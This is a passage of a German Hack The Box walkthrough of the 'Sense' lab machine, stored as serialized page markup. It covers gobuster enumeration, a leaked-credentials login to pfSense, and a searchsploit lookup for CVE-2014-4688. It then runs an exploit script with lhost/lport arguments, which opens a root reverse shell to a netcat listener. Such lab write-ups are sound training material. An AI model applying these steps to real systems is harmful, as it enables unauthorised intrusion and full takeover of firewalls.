Q29tcGFueU5hbWUxLzAtBgNVBAsTJk9yZ2FuaXphdGlvbmFsIFVuaXQgTmFtZSAo\n",[34,1314,1316,1318],{"class":36,"line":1315},75,[34,1317,814],{"class":813},[34,1319,1320],{"class":40}," ZWcsIHNlY3Rpb24pMSQwIgYDVQQDExtDb21tb24gTmFtZSAoZWcsIFlPVVIgbmFt\n",[34,1322,1324,1326],{"class":36,"line":1323},76,[34,1325,814],{"class":813},[34,1327,1328],{"class":40}," ZSkxHDAaBgkqhkiG9w0BCQEWDUVtYWlsIEFkZHJlc3OCCQCwoWiKYsM+NTAMBgNV\n",[34,1330,1332,1334],{"class":36,"line":1331},77,[34,1333,814],{"class":813},[34,1335,1336],{"class":40}," HRMEBTADAQH\u002FMA0GCSqGSIb3DQEBCwUAA4GBAHNn+1AX2qwJ9zhgN3I4ES1Vq84l\n",[34,1338,1340,1342],{"class":36,"line":1339},78,[34,1341,814],{"class":813},[34,1343,1344],{"class":40}," n6p7OoBefxcf31Pn3VDnbvJJFFcZdplDxbIWh5lyjpTHRJQyHECtEMW677rFXJAl\n",[34,1346,1348,1350],{"class":36,"line":1347},79,[34,1349,814],{"class":813},[34,1351,1352],{"class":40}," \u002FcEYWHDndn9Gwaxn7JyffK5lUAPMPEDtudQb3cxrevP\u002FiFZwefi2d5p3jFkDCcGI\n",[34,1354,1356,1358],{"class":36,"line":1355},80,[34,1357,814],{"class":813},[34,1359,1360],{"class":40}," +Y0tZRIRzHWgQHa\u002F\n",[34,1362,1364,1366,1369],{"class":36,"line":1363},81,[34,1365,814],{"class":813},[34,1367,1368],{"class":40},"_-----END",[34,1370,1176],{"class":44},[34,1372,1374],{"class":36,"line":1373},82,[34,1375,1377],{"emptyLinePlaceholder":1376},true,"\n",[34,1379,1381,1383,1385],{"class":36,"line":1380},83,[34,1382,116],{"class":40},[34,1384,139],{"class":44},[34,1386,1387],{"class":44}," Post-scanning.\n",[34,1389,1391,1393,1395,1397,1399,1401,1403],{"class":36,"line":1390},84,[34,1392,116],{"class":40},[34,1394,150],{"class":44},[34,1396,153],{"class":44},[34,1398,156],{"class":48},[34,1400,159],{"class":103},[34,1402,162],{"class":48},[34,1404,165],{"class":103},[34,1406,1408,1410,1412,1414],{"class":36,"line":1407},85,[34,1409,171],{"class":40},[34,1411,174],{"class":44},[34,1413,177],{"class":44},[34,1415,610],{"class":44},[34,1417,1419,1421,1423,1425,1427,1429],{"class":36,"line":1418},86,[34,1420,186],{"class":40},[34,1422,174],{"class":44},[34,1424,177],{"class":44},[34,1426,576],{"class":44},[34,1428,196],{"class":44},[34,1430,199],{"class":44},[34,1432,1434,1436,1438,1440,1442,1444,1446],{"class":36,"line":1433},87,[34,1435,116],{"class":40},[34,1437,150],{"class":44},[34,1439,153],{"class":44},[34,1441,211],{"class":48},[34,1443,159],{"class":103},[34,1445,162],{"class":48},[34,1447,165],{"class":103},[34,1449,1451,1453,1455,1457],{"class":36,"line":1450},88,[34,1452,171],{"class":40},[34,1454,174],{"class":44},[34,1456,177],{"class":44},[34,1458,610],{"class":44},[34,1460,1462,1464,1466,1468,1470,1472],{"class":36,"line":1461},89,[34,1463,186],{"class":40},[34,1465,174],{"class":44},[34,1467,177],{"class":44},[34,1469,576],{"class":44},[34,1471,196],{"class":44},[34,1473,199],{"class":44},[34,1475,1477,1479,1481,1483,1485,1487,1489],{"class":36,"line":1476},90,[34,1478,116],{"class":40},[34,1480,150],{"class":44},[34,1482,153],{"class":44},[34,1484,255],{"class":48},[34,1486,159],{"class":103},[34,1488,162],{"class":48},[34,1490,165],{"class":103},[34,1492,1494,1496,1498,1500],{"class":36,"line":1493},91,[34,1495,171],{"class":40},[34,1497,174],{"class":44},[34,1499,177],{"class":44},[34,1501,610],{"class":44},[34,1503,1505,1507,1509,1511,1513,1515],{"class":36,"line":1504},92,[34,1506,186],{"class":40},[34,1508,174],{"class":44},[34,1510,177],{"class":44},[34,1512,576],{"class":44},[34,1514,196],{"class":44},[34,1516,199],{"class":44},[34,1518,1520,1523,1526,1529,1532],{"class":36,"line":1519},93,[34,1521,1522],{"class":40},"Read",[34,1524,1525],{"class":44}," data",[34,1527,1528],{"class":44}," files",[34,1530,1531],{"class":44}," from:",[34,1533,1534],{"class":44}," \u002Fusr\u002Fbin\u002F..\u002Fshare\u002Fnmap\n",[34,1536,1538,1541,1544,1547,1550,1552,1555,1558,1561,1563,1566],{"class":36,"line":1537},94,[34,1539,1540],{"class":40},"Service",[34,1542,1543],{"class":44}," detection",[34,1545,1546],{"class":44}," performed.",[34,1548,1549],{"class":44}," Please",[34,1551,680],{"class":44},[34,1553,1554],{"class":44}," any",[34,1556,1557],{"class":44}," incorrect",[34,1559,1560],{"class":44}," results",[34,1562,177],{"class":44},[34,1564,1565],{"class":44}," https:\u002F\u002Fnmap.org\u002Fsubmit\u002F",[34,1567,1568],{"class":44}," .\n",[34,1570,1572,1574,1577,1579,1582,1585,1587,1590,1593],{"class":36,"line":1571},95,[34,1573,675],{"class":40},[34,1575,1576],{"class":44}," done:",[34,1578,156],{"class":48},[34,1580,1581],{"class":44}," IP",[34,1583,1584],{"class":44}," address",[34,1586,348],{"class":103},[34,1588,1589],{"class":44},"host",[34,1591,1592],{"class":44}," up",[34,1594,1595],{"class":103},") scanned in 15.57 seconds\n",[34,1597,1599,1602,1605,1608,1611,1614,1616,1619,1622],{"class":36,"line":1598},96,[34,1600,1601],{"class":40},"           Raw",[34,1603,1604],{"class":44}," packets",[34,1606,1607],{"class":44}," sent:",[34,1609,1610],{"class":48}," 2005",[34,1612,1613],{"class":103}," (88.196KB) ",[34,1615,814],{"class":813},[34,1617,1618],{"class":40}," Rcvd:",[34,1620,1621],{"class":48}," 12",[34,1623,1624],{"class":103}," (864B)\n",[11,1626,1627],{},"Ich sehe das Port 80 und 443 offen sind, also probiere ich die Website aufzurufen.\nDer Zugriff auf die Website über den DNS-Name wird allerdings auf Grund einer potenziellen DNS-Rebinding-Attack blockiert.",[11,1629,1630],{},[17,1631],{"alt":19,"src":1632},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240628235839492.webp",[11,1634,1635],{},"Also probiere ich es einfach erneut mit der IP-Adresse und siehe da, wir landen bei einem pfsense Login.\nDie default Credentials lauten laut Google \"admin \u002F pfsense\", jedoch haben diese leider nicht funktioniert.",[11,1637,1638],{},[17,1639],{"alt":19,"src":1640},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629000000238.webp",[11,1642,1643],{},"Hier wusste ich dann ehrlich gesagt kurz nicht, wie ich weiterkomme. Ich habe dann probiert etwas mit Gobuster zu finden.",[11,1645,1646],{},[17,1647],{"alt":19,"src":1648},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629000225913.webp",[25,1650,1652],{"className":27,"code":1651,"language":29,"meta":19,"style":19},"┌─[nobrac@htb-xet9c9n4zo]─[~]\n└──╼ $gobuster dir -w \u002Fusr\u002Fshare\u002Fwordlists\u002Fdirbuster\u002Fdirectory-list-2.3-medium.txt -u https:\u002F\u002F10.129.224.195 -k -x txt, conf, php\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     https:\u002F\u002F10.129.224.195\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \u002Fusr\u002Fshare\u002Fwordlists\u002Fdirbuster\u002Fdirectory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\u002F3.6\n[+] Extensions:              txt,\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\u002F.                    (Status: 200) [Size: 6690]\n\u002Fthemes               (Status: 301) [Size: 0] [--> https:\u002F\u002F10.129.224.195\u002Fthemes\u002F]\n\u002Fcss                  (Status: 301) [Size: 0] [--> https:\u002F\u002F10.129.224.195\u002Fcss\u002F]\n\u002Fincludes             (Status: 301) [Size: 0] [--> https:\u002F\u002F10.129.224.195\u002Fincludes\u002F]\n\u002Fjavascript           (Status: 301) [Size: 0] [--> https:\u002F\u002F10.129.224.195\u002Fjavascript\u002F]\n\u002Fchangelog.txt        (Status: 200) [Size: 271]\n\u002Fclasses              (Status: 301) [Size: 0] [--> https:\u002F\u002F10.129.224.195\u002Fclasses\u002F]\n\u002Fwidgets              (Status: 301) [Size: 0] [--> https:\u002F\u002F10.129.224.195\u002Fwidgets\u002F]\n\u002Ftree                 (Status: 301) [Size: 0] [--> https:\u002F\u002F10.129.224.195\u002Ftree\u002F]\n\u002Fshortcuts            (Status: 301) [Size: 0] [--> https:\u002F\u002F10.129.224.195\u002Fshortcuts\u002F]\n\u002Finstaller            (Status: 301) [Size: 0] [--> https:\u002F\u002F10.129.224.195\u002Finstaller\u002F]\n\u002Fwizards              (Status: 301) [Size: 0] [--> https:\u002F\u002F10.129.224.195\u002Fwizards\u002F]\n\u002F.                    (Status: 200) [Size: 6690]\n\u002Fcsrf                 (Status: 301) [Size: 0] [--> https:\u002F\u002F10.129.224.195\u002Fcsrf\u002F]\n\u002Fsystem-users.txt     (Status: 200) [Size: 106]\n\u002Ffilebrowser          (Status: 301) [Size: 0] [--> https:\u002F\u002F10.129.224.195\u002Ffilebrowser\u002F]\n\u002F%7Echeckout%7E       (Status: 403) [Size: 345]\nProgress: 661680 \u002F 661683 (100.00%)\n===============================================================\nFinished\n===============================================================\n",[31,1653,1654,1658,1695,1700,1708,1735,1739,1752,1763,1774,1785,1796,1807,1818,1829,1833,1852,1856,1877,1912,1941,1970,1999,2018,2047,2075,2104,2133,2161,2189,2205,2233,2252,2281,2301,2318,2322,2327],{"__ignoreMap":19},[34,1655,1656],{"class":36,"line":37},[34,1657,70],{"class":40},[34,1659,1660,1662,1665,1668,1671,1674,1677,1680,1683,1686,1689,1692],{"class":36,"line":73},[34,1661,76],{"class":40},[34,1663,1664],{"class":79}," $gobuster",[34,1666,1667],{"class":44}," dir",[34,1669,1670],{"class":48}," -w",[34,1672,1673],{"class":44}," \u002Fusr\u002Fshare\u002Fwordlists\u002Fdirbuster\u002Fdirectory-list-2.3-medium.txt",[34,1675,1676],{"class":48}," -u",[34,1678,1679],{"class":44}," https:\u002F\u002F10.129.224.195",[34,1681,1682],{"class":48}," -k",[34,1684,1685],{"class":48}," -x",[34,1687,1688],{"class":44}," txt,",[34,1690,1691],{"class":44}," conf,",[34,1693,1694],{"class":44}," php\n",[34,1696,1697],{"class":36,"line":91},[34,1698,1699],{"class":44},"===============================================================\n",[34,1701,1702,1705],{"class":36,"line":113},[34,1703,1704],{"class":40},"Gobuster",[34,1706,1707],{"class":44}," v3.6\n",[34,1709,1710,1713,1716,1719,1722,1726,1729,1732],{"class":36,"line":134},[34,1711,1712],{"class":40},"by",[34,1714,1715],{"class":44}," OJ",[34,1717,1718],{"class":44}," Reeves",[34,1720,1721],{"class":103}," (@TheColonial) ",[34,1723,1725],{"class":1724},"svnLg","&",[34,1727,1728],{"class":40}," Christian",[34,1730,1731],{"class":44}," Mehlmauer",[34,1733,1734],{"class":103}," (@firefart)\n",[34,1736,1737],{"class":36,"line":145},[34,1738,1699],{"class":44},[34,1740,1741,1743,1746,1749],{"class":36,"line":168},[34,1742,317],{"class":316},[34,1744,1745],{"class":103},"+",[34,1747,1748],{"class":316},"]",[34,1750,1751],{"class":103}," Url:                     https:\u002F\u002F10.129.224.195\n",[34,1753,1754,1756,1758,1760],{"class":36,"line":183},[34,1755,317],{"class":316},[34,1757,1745],{"class":103},[34,1759,1748],{"class":316},[34,1761,1762],{"class":103}," Method:                  GET\n",[34,1764,1765,1767,1769,1771],{"class":36,"line":202},[34,1766,317],{"class":316},[34,1768,1745],{"class":103},[34,1770,1748],{"class":316},[34,1772,1773],{"class":103}," Threads:                 10\n",[34,1775,1776,1778,1780,1782],{"class":36,"line":220},[34,1777,317],{"class":316},[34,1779,1745],{"class":103},[34,1781,1748],{"class":316},[34,1783,1784],{"class":103}," Wordlist:                \u002Fusr\u002Fshare\u002Fwordlists\u002Fdirbuster\u002Fdirectory-list-2.3-medium.txt\n",[34,1786,1787,1789,1791,1793],{"class":36,"line":231},[34,1788,317],{"class":316},[34,1790,1745],{"class":103},[34,1792,1748],{"class":316},[34,1794,1795],{"class":103}," Negative Status codes:   404\n",[34,1797,1798,1800,1802,1804],{"class":36,"line":246},[34,1799,317],{"class":316},[34,1801,1745],{"class":103},[34,1803,1748],{"class":316},[34,1805,1806],{"class":103}," User Agent:              gobuster\u002F3.6\n",[34,1808,1809,1811,1813,1815],{"class":36,"line":264},[34,1810,317],{"class":316},[34,1812,1745],{"class":103},[34,1814,1748],{"class":316},[34,1816,1817],{"class":103}," Extensions:              txt,\n",[34,1819,1820,1822,1824,1826],{"class":36,"line":275},[34,1821,317],{"class":316},[34,1823,1745],{"class":103},[34,1825,1748],{"class":316},[34,1827,1828],{"class":103}," Timeout:                 10s\n",[34,1830,1831],{"class":36,"line":290},[34,1832,1699],{"class":44},[34,1834,1835,1837,1840,1843,1846,1849],{"class":36,"line":305},[34,1836,94],{"class":40},[34,1838,1839],{"class":44}," gobuster",[34,1841,1842],{"class":44}," in",[34,1844,1845],{"class":44}," directory",[34,1847,1848],{"class":44}," enumeration",[34,1850,1851],{"class":44}," mode\n",[34,1853,1854],{"class":36,"line":329},[34,1855,1699],{"class":44},[34,1857,1858,1861,1864,1867,1870,1872,1875],{"class":36,"line":360},[34,1859,1860],{"class":40},"\u002F.",[34,1862,1863],{"class":103},"                    (Status: ",[34,1865,1866],{"class":48},"200",[34,1868,1869],{"class":103},") ",[34,1871,317],{"class":316},[34,1873,1874],{"class":103},"Size: 6690",[34,1876,326],{"class":316},[34,1878,1879,1882,1885,1888,1890,1892,1895,1897,1900,1903,1907,1910],{"class":36,"line":377},[34,1880,1881],{"class":40},"\u002Fthemes",[34,1883,1884],{"class":103},"               (Status: ",[34,1886,1887],{"class":48},"301",[34,1889,1869],{"class":103},[34,1891,317],{"class":316},[34,1893,1894],{"class":103},"Size: 0",[34,1896,1748],{"class":316},[34,1898,1899],{"class":316}," [",[34,1901,1902],{"class":103},"--",[34,1904,1906],{"class":1905},"sBQf5",">",[34,1908,1909],{"class":103}," https:\u002F\u002F10.129.224.195\u002Fthemes\u002F",[34,1911,326],{"class":316},[34,1913,1914,1917,1920,1922,1924,1926,1928,1930,1932,1934,1936,1939],{"class":36,"line":395},[34,1915,1916],{"class":40},"\u002Fcss",[34,1918,1919],{"class":103},"                  (Status: ",[34,1921,1887],{"class":48},[34,1923,1869],{"class":103},[34,1925,317],{"class":316},[34,1927,1894],{"class":103},[34,1929,1748],{"class":316},[34,1931,1899],{"class":316},[34,1933,1902],{"class":103},[34,1935,1906],{"class":1905},[34,1937,1938],{"class":103}," https:\u002F\u002F10.129.224.195\u002Fcss\u002F",[34,1940,326],{"class":316},[34,1942,1943,1946,1949,1951,1953,1955,1957,1959,1961,1963,1965,1968],{"class":36,"line":416},[34,1944,1945],{"class":40},"\u002Fincludes",[34,1947,1948],{"class":103},"             (Status: ",[34,1950,1887],{"class":48},[34,1952,1869],{"class":103},[34,1954,317],{"class":316},[34,1956,1894],{"class":103},[34,1958,1748],{"class":316},[34,1960,1899],{"class":316},[34,1962,1902],{"class":103},[34,1964,1906],{"class":1905},[34,1966,1967],{"class":103}," https:\u002F\u002F10.129.224.195\u002Fincludes\u002F",[34,1969,326],{"class":316},[34,1971,1972,1975,1978,1980,1982,1984,1986,1988,1990,1992,1994,1997],{"class":36,"line":432},[34,1973,1974],{"class":40},"\u002Fjavascript",[34,1976,1977],{"class":103},"           (Status: ",[34,1979,1887],{"class":48},[34,1981,1869],{"class":103},[34,1983,317],{"class":316},[34,1985,1894],{"class":103},[34,1987,1748],{"class":316},[34,1989,1899],{"class":316},[34,1991,1902],{"class":103},[34,1993,1906],{"class":1905},[34,1995,1996],{"class":103}," https:\u002F\u002F10.129.224.195\u002Fjavascript\u002F",[34,1998,326],{"class":316},[34,2000,2001,2004,2007,2009,2011,2013,2016],{"class":36,"line":461},[34,2002,2003],{"class":40},"\u002Fchangelog.txt",[34,2005,2006],{"class":103},"        (Status: ",[34,2008,1866],{"class":48},[34,2010,1869],{"class":103},[34,2012,317],{"class":316},[34,2014,2015],{"class":103},"Size: 271",[34,2017,326],{"class":316},[34,2019,2020,2023,2026,2028,2030,2032,2034,2036,2038,2040,2042,2045],{"class":36,"line":476},[34,2021,2022],{"class":40},"\u002Fclasses",[34,2024,2025],{"class":103},"              (Status: ",[34,2027,1887],{"class":48},[34,2029,1869],{"class":103},[34,2031,317],{"class":316},[34,2033,1894],{"class":103},[34,2035,1748],{"class":316},[34,2037,1899],{"class":316},[34,2039,1902],{"class":103},[34,2041,1906],{"class":1905},[34,2043,2044],{"class":103}," https:\u002F\u002F10.129.224.195\u002Fclasses\u002F",[34,2046,326],{"class":316},[34,2048,2049,2052,2054,2056,2058,2060,2062,2064,2066,2068,2070,2073],{"class":36,"line":493},[34,2050,2051],{"class":40},"\u002Fwidgets",[34,2053,2025],{"class":103},[34,2055,1887],{"class":48},[34,2057,1869],{"class":103},[34,2059,317],{"class":316},[34,2061,1894],{"class":103},[34,2063,1748],{"class":316},[34,2065,1899],{"class":316},[34,2067,1902],{"class":103},[34,2069,1906],{"class":1905},[34,2071,2072],{"class":103}," https:\u002F\u002F10.129.224.195\u002Fwidgets\u002F",[34,2074,326],{"class":316},[34,2076,2077,2080,2083,2085,2087,2089,2091,2093,2095,2097,2099,2102],{"class":36,"line":526},[34,2078,2079],{"class":40},"\u002Ftree",[34,2081,2082],{"class":103},"                 (Status: ",[34,2084,1887],{"class":48},[34,2086,1869],{"class":103},[34,2088,317],{"class":316},[34,2090,1894],{"class":103},[34,2092,1748],{"class":316},[34,2094,1899],{"class":316},[34,2096,1902],{"class":103},[34,2098,1906],{"class":1905},[34,2100,2101],{"class":103}," https:\u002F\u002F10.129.224.195\u002Ftree\u002F",[34,2103,326],{"class":316},[34,2105,2106,2109,2112,2114,2116,2118,2120,2122,2124,2126,2128,2131],{"class":36,"line":539},[34,2107,2108],{"class":40},"\u002Fshortcuts",[34,2110,2111],{"class":103},"            (Status: ",[34,2113,1887],{"class":48},[34,2115,1869],{"class":103},[34,2117,317],{"class":316},[34,2119,1894],{"class":103},[34,2121,1748],{"class":316},[34,2123,1899],{"class":316},[34,2125,1902],{"class":103},[34,2127,1906],{"class":1905},[34,2129,2130],{"class":103}," https:\u002F\u002F10.129.224.195\u002Fshortcuts\u002F",[34,2132,326],{"class":316},[34,2134,2135,2138,2140,2142,2144,2146,2148,2150,2152,2154,2156,2159],{"class":36,"line":556},[34,2136,2137],{"class":40},"\u002Finstaller",[34,2139,2111],{"class":103},[34,2141,1887],{"class":48},[34,2143,1869],{"class":103},[34,2145,317],{"class":316},[34,2147,1894],{"class":103},[34,2149,1748],{"class":316},[34,2151,1899],{"class":316},[34,2153,1902],{"class":103},[34,2155,1906],{"class":1905},[34,2157,2158],{"class":103}," https:\u002F\u002F10.129.224.195\u002Finstaller\u002F",[34,2160,326],{"class":316},[34,2162,2163,2166,2168,2170,2172,2174,2176,2178,2180,2182,2184,2187],{"class":36,"line":567},[34,2164,2165],{"class":40},"\u002Fwizards",[34,2167,2025],{"class":103},[34,2169,1887],{"class":48},[34,2171,1869],{"class":103},[34,2173,317],{"class":316},[34,2175,1894],{"class":103},[34,2177,1748],{"class":316},[34,2179,1899],{"class":316},[34,2181,1902],{"class":103},[34,2183,1906],{"class":1905},[34,2185,2186],{"class":103}," https:\u002F\u002F10.129.224.195\u002Fwizards\u002F",[34,2188,326],{"class":316},[34,2190,2191,2193,2195,2197,2199,2201,2203],{"class":36,"line":584},[34,2192,1860],{"class":40},[34,2194,1863],{"class":103},[34,2196,1866],{"class":48},[34,2198,1869],{"class":103},[34,2200,317],{"class":316},[34,2202,1874],{"class":103},[34,2204,326],{"class":316},[34,2206,2207,2210,2212,2214,2216,2218,2220,2222,2224,2226,2228,2231],{"class":36,"line":601},[34,2208,2209],{"class":40},"\u002Fcsrf",[34,2211,2082],{"class":103},[34,2213,1887],{"class":48},[34,2215,1869],{"class":103},[34,2217,317],{"class":316},[34,2219,1894],{"class":103},[34,2221,1748],{"class":316},[34,2223,1899],{"class":316},[34,2225,1902],{"class":103},[34,2227,1906],{"class":1905},[34,2229,2230],{"class":103}," https:\u002F\u002F10.129.224.195\u002Fcsrf\u002F",[34,2232,326],{"class":316},[34,2234,2235,2238,2241,2243,2245,2247,2250],{"class":36,"line":613},[34,2236,2237],{"class":40},"\u002Fsystem-users.txt",[34,2239,2240],{"class":103},"     (Status: ",[34,2242,1866],{"class":48},[34,2244,1869],{"class":103},[34,2246,317],{"class":316},[34,2248,2249],{"class":103},"Size: 106",[34,2251,326],{"class":316},[34,2253,2254,2257,2260,2262,2264,2266,2268,2270,2272,2274,2276,2279],{"class":36,"line":629},[34,2255,2256],{"class":40},"\u002Ffilebrowser",[34,2258,2259],{"class":103},"          (Status: ",[34,2261,1887],{"class":48},[34,2263,1869],{"class":103},[34,2265,317],{"class":316},[34,2267,1894],{"class":103},[34,2269,1748],{"class":316},[34,2271,1899],{"class":316},[34,2273,1902],{"class":103},[34,2275,1906],{"class":1905},[34,2277,2278],{"class":103}," https:\u002F\u002F10.129.224.195\u002Ffilebrowser\u002F",[34,2280,326],{"class":316},[34,2282,2283,2286,2289,2292,2294,2296,2299],{"class":36,"line":646},[34,2284,2285],{"class":40},"\u002F%7Echeckout%7E",[34,2287,2288],{"class":103},"       (Status: ",[34,2290,2291],{"class":48},"403",[34,2293,1869],{"class":103},[34,2295,317],{"class":316},[34,2297,2298],{"class":103},"Size: 345",[34,2300,326],{"class":316},[34,2302,2303,2306,2309,2312,2315],{"class":36,"line":657},[34,2304,2305],{"class":40},"Progress:",[34,2307,2308],{"class":48}," 661680",[34,2310,2311],{"class":44}," \u002F",[34,2313,2314],{"class":48}," 661683",[34,2316,2317],{"class":103}," (100.00%)\n",[34,2319,2320],{"class":36,"line":672},[34,2321,1699],{"class":44},[34,2323,2324],{"class":36,"line":689},[34,2325,2326],{"class":40},"Finished\n",[34,2328,2329],{"class":36,"line":722},[34,2330,1699],{"class":44},[11,2332,2333],{},"Hier wurden dann tatsächlich ein paar Dateien gefunden, welche interessant klingen. Zum Beispiel die \"changelog.txt\" und die \"system-users.txt\".",[11,2335,2336],{},"Zuerst habe ich mir die \"changelog.txt\" angesehen.",[11,2338,2339],{},"Ein Update konnte bei der Firewall wohl nicht eingespielt werden und somit wurden nur 2 von 3 Sicherheitslücken geschlossen. Gut zu wissen.",[11,2341,2342],{},[17,2343],{"alt":19,"src":2344},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629000408743.webp",[11,2346,2347],{},"Danach habe ich mir die \"system-users.txt\" angesehen. Hier stehen Zugangsdaten in der Datei. Das Passwort wird allerdings nur mit \"company defaults\" angegeben.",[11,2349,2350],{},[17,2351],{"alt":19,"src":2352},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629000555121.webp",[11,2354,2355],{},"Ich habe dann probiert, mich bei der pfsense mit dem Zugang \"Rohit \u002F pfsense\" anzumelden. Hat leider nicht geklappt.\nDann hatte ich noch \"Rohit \u002F company defaults\" probiert, klappte aber auch nicht.\nAm Ende hat es mit \"rohit \u002F pfsense\" geklappt. Der User ist case sensitive.",[11,2357,2358],{},[17,2359],{"alt":19,"src":2360},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629000952028.webp",[11,2362,2363],{},"Beim Dashboard sehen wir bereits eine wichtige Information:",[25,2365,2370],{"className":2366,"code":2368,"language":2369,"meta":19},[2367],"language-text","2.1.3-RELEASE (amd64)\nbuilt on Thu May 01 15:52:13 EDT 2014\nFreeBSD 8.3-RELEASE-p16\n","text",[31,2371,2368],{"__ignoreMap":19},[11,2373,2374],{},"Ich habe mit Hilfe von Searchsploit recherchiert, ob es für diese pfsense Version einen bekannten Exploit gibt. Einer wurde gefunden.",[11,2376,2377],{},[17,2378],{"alt":19,"src":2379},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629001131826.webp",[11,2381,2382],{},"Anschließend habe ich mir den schnell in mein Homeverzeichnis geladen.",[11,2384,2385],{},[17,2386],{"alt":19,"src":2387},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629001221296.webp",[11,2389,2390],{},"Anschließend habe ich mich kurz über die CVE-2014-4688 informiert. Sie lässt einen authentifizierten User Commands auf dem System ausführen. Klingt für unseren Einsatzzweck perfekt.",[11,2392,2393,2396,2397],{},[17,2394],{"alt":19,"src":2395},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629001414324.webp","\nSource: ",[2398,2399,2403],"a",{"href":2400,"rel":2401},"https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2014-4688",[2402],"nofollow","NVD - CVE-2014-4688 (nist.gov)",[11,2405,2406],{},"Nun habe ich mir den Exploit, bzw. das Pythonscript genauer angesehen.\nFolgende Variablen müssen wir bei der Ausführung wohl mitgeben:",[2408,2409,2410,2414,2417,2420,2423],"ul",{},[2411,2412,2413],"li",{},"rhost",[2411,2415,2416],{},"lhost",[2411,2418,2419],{},"lport",[2411,2421,2422],{},"username",[2411,2424,2425],{},"password",[11,2427,2428],{},[17,2429],{"alt":19,"src":2430},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629001636517.webp",[11,2432,2433],{},"Da der Exploit uns erlaubt, Code auf dem Zielsystem ausführen zu lassen, probiere ich mir damit eine Reverseshell aufbauen zu lassen.\nAlso starte ich im nächsten Schritt meinen Netcat Listener.",[11,2435,2436],{},[17,2437],{"alt":19,"src":2438},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629001839429.webp",[11,2440,2441],{},"Anschließend führe ich den Exploit aus.",[11,2443,2444],{},[17,2445],{"alt":19,"src":2446},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629001923038.webp",[25,2448,2450],{"className":27,"code":2449,"language":29,"meta":19,"style":19},"┌─[nobrac@htb-xet9c9n4zo]─[~]\n└──╼ $python3 43560.py --rhost 10.129.224.195 --lhost 10.10.14.38 --lport 1111 --username rohit --password pfsense\nCSRF token obtained\nRunning exploit...\nExploit completed\n",[31,2451,2452,2456,2496,2507,2515],{"__ignoreMap":19},[34,2453,2454],{"class":36,"line":37},[34,2455,70],{"class":40},[34,2457,2458,2460,2463,2466,2469,2472,2475,2478,2481,2484,2487,2490,2493],{"class":36,"line":73},[34,2459,76],{"class":40},[34,2461,2462],{"class":79}," $python3",[34,2464,2465],{"class":44}," 43560.py",[34,2467,2468],{"class":48}," --rhost",[34,2470,2471],{"class":48}," 10.129.224.195",[34,2473,2474],{"class":48}," --lhost",[34,2476,2477],{"class":48}," 10.10.14.38",[34,2479,2480],{"class":48}," --lport",[34,2482,2483],{"class":48}," 1111",[34,2485,2486],{"class":48}," --username",[34,2488,2489],{"class":44}," rohit",[34,2491,2492],{"class":48}," --password",[34,2494,2495],{"class":44}," pfsense\n",[34,2497,2498,2501,2504],{"class":36,"line":91},[34,2499,2500],{"class":40},"CSRF",[34,2502,2503],{"class":44}," token",[34,2505,2506],{"class":44}," obtained\n",[34,2508,2509,2512],{"class":36,"line":113},[34,2510,2511],{"class":40},"Running",[34,2513,2514],{"class":44}," exploit...\n",[34,2516,2517,2520],{"class":36,"line":134},[34,2518,2519],{"class":40},"Exploit",[34,2521,2522],{"class":44}," completed\n",[11,2524,2525],{},"Die Reverseshell wurde erfolgreich aufgebaut.",[11,2527,2528],{},[17,2529],{"alt":19,"src":2530},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629002021806.webp",[11,2532,2533],{},"Ich überprüfe kurz, als welcher User ich nun angemeldet bin und stelle fest, dass ich direkt als root angemeldet bin.",[11,2535,2536],{},[17,2537],{"alt":19,"src":2538},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629002101546.webp",[11,2540,2541],{},"Da der uns bekannte User \"rohit\" hieß, schaue ich in seinem Homeverzeichnis nach der Userflag und habe sie dort auch gefunden.",[11,2543,2544],{},[17,2545],{"alt":19,"src":2546},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629002135450.webp",[11,2548,2549],{},"Die Rootflag finden wir immer im Verzeichnis von root.",[11,2551,2552],{},[17,2553],{"alt":19,"src":2554},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629002317978.webp",[11,2556,2557],{},"Damit ist der Raum dann auch abgeschlossen.",[11,2559,2560],{},[17,2561],{"alt":19,"src":2562},"\u002Fimages\u002Fposts\u002Fhack-the-box-sense\u002Fattachments\u002Fimage-20240629002457100.webp",[2564,2565,2566],"style",{},"html pre.shiki code .s59W0, html code.shiki .s59W0{--shiki-default:#FABD2F}html pre.shiki code .sTqo2, html code.shiki .sTqo2{--shiki-default:#B8BB26}html pre.shiki code .ssIPD, html code.shiki .ssIPD{--shiki-default:#D3869B}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: 